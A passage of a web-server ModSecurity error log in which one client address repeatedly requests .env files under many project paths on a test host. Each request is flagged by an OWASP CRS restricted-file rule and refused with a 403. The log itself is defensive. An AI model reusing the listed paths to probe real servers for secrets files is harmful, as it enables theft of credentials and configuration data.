&quot;/src/gameprovider-service/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDiQAAAAU&quot;]
[Wed Feb 25 06:05:37.341003 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/gameprovider-service/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDiQAAAAU&quot;]
[Wed Feb 25 06:05:37.341204 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/gameprovider-service/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDiQAAAAU&quot;]
[Wed Feb 25 06:05:37.383981 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/main/front-end/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/front-end/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDigAAAAU&quot;]
[Wed Feb 25 06:05:37.384249 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/front-end/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDigAAAAU&quot;]
[Wed Feb 25 06:05:37.384438 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/front-end/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDigAAAAU&quot;]
[Wed Feb 25 06:05:37.435161 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/aries-js-worker/fixtures/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/aries-js-worker/fixtures/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZGQAAAAc&quot;]
[Wed Feb 25 06:05:37.435444 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/aries-js-worker/fixtures/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZGQAAAAc&quot;]
[Wed Feb 25 06:05:37.435638 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/aries-js-worker/fixtures/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZGQAAAAc&quot;]
[Wed Feb 25 06:05:37.521164 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/adapter-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/adapter-rest/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZGgAAAAc&quot;]
[Wed Feb 25 06:05:37.521463 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/adapter-rest/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZGgAAAAc&quot;]
[Wed Feb 25 06:05:37.521659 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/adapter-rest/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZGgAAAAc&quot;]
[Wed Feb 25 06:05:37.530736 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/main/resources/archetype-resources/__rootartifactid__-acceptance-test/src/test/resources/app-launcher-tile/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/resources/archetype-resources/__rootArtifactId__-acceptance-test/src/test/resources/app-launcher-tile/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDiwAAAAU&quot;]
[Wed Feb 25 06:05:37.531029 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/resources/archetype-resources/__rootArtifactId__-acceptance-test/src/test/resources/app-launcher-tile/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDiwAAAAU&quot;]
[Wed Feb 25 06:05:37.531198 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/main/resources/archetype-resources/__rootArtifactId__-acceptance-test/src/test/resources/app-launcher-tile/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDiwAAAAU&quot;]
[Wed Feb 25 06:05:37.598078 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/agent-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/agent-rest/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZGwAAAAc&quot;]
[Wed Feb 25 06:05:37.600333 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/agent-rest/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZGwAAAAc&quot;]
[Wed Feb 25 06:05:37.600542 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/agent-rest/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZGwAAAAc&quot;]
[Wed Feb 25 06:05:37.628630 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/couchdb/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/couchdb/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZHAAAAAc&quot;]
[Wed Feb 25 06:05:37.628898 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/couchdb/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZHAAAAAc&quot;]
[Wed Feb 25 06:05:37.629058 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/couchdb/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZHAAAAAc&quot;]
[Wed Feb 25 06:05:37.688966 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/renderer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/renderer/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDjAAAAAU&quot;]
[Wed Feb 25 06:05:37.689262 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/renderer/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDjAAAAAU&quot;]
[Wed Feb 25 06:05:37.689489 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/renderer/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDjAAAAAU&quot;]
[Wed Feb 25 06:05:37.709381 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/demo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZHQAAAAc&quot;]
[Wed Feb 25 06:05:37.709637 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZHQAAAAc&quot;]
[Wed Feb 25 06:05:37.709816 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZHQAAAAc&quot;]
[Wed Feb 25 06:05:37.719243 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /srv6_controller/controller/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/controller/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDjQAAAAU&quot;]
[Wed Feb 25 06:05:37.719468 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/controller/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDjQAAAAU&quot;]
[Wed Feb 25 06:05:37.719607 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/controller/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDjQAAAAU&quot;]
[Wed Feb 25 06:05:37.747625 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /srv6_controller/examples/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/examples/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDjgAAAAU&quot;]
[Wed Feb 25 06:05:37.747879 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/examples/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDjgAAAAU&quot;]
[Wed Feb 25 06:05:37.748042 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv6_controller/examples/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDjgAAAAU&quot;]
